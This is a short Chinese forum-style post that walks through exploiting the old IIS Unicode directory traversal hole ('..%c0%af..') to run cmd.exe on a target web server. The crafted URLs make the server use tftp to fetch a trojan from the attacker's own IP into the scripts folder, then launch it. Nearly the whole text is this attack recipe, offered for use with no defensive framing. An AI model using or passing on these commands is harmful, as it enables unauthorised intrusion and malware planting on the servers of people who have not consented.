我晕~~~ 这么老漏洞
自己安装一个TFTP软件,首先将你要上传的木马的某一个程序 aaa.exe 放到 TFTP 目录下面然后在浏览器里输入
http://XXX.XXX.XXX.XXX/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i YYY.YYY.YYY.YYY GET aaa.exe c:\\inetpub \\scripts\\bbb.exe
这里的YYY.YYY.YYY.YYY为你的主机IP C:\\INETPUB\\SCRIPTS\\ 为主侵主机的目录，
bbb.exe 就是上传以后的 aaa.exe （木马） 文件
然后在浏览器的地址栏中输入:
http://XXX.XXX.XXX.XXX/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\bbb.exe启动木马......
|
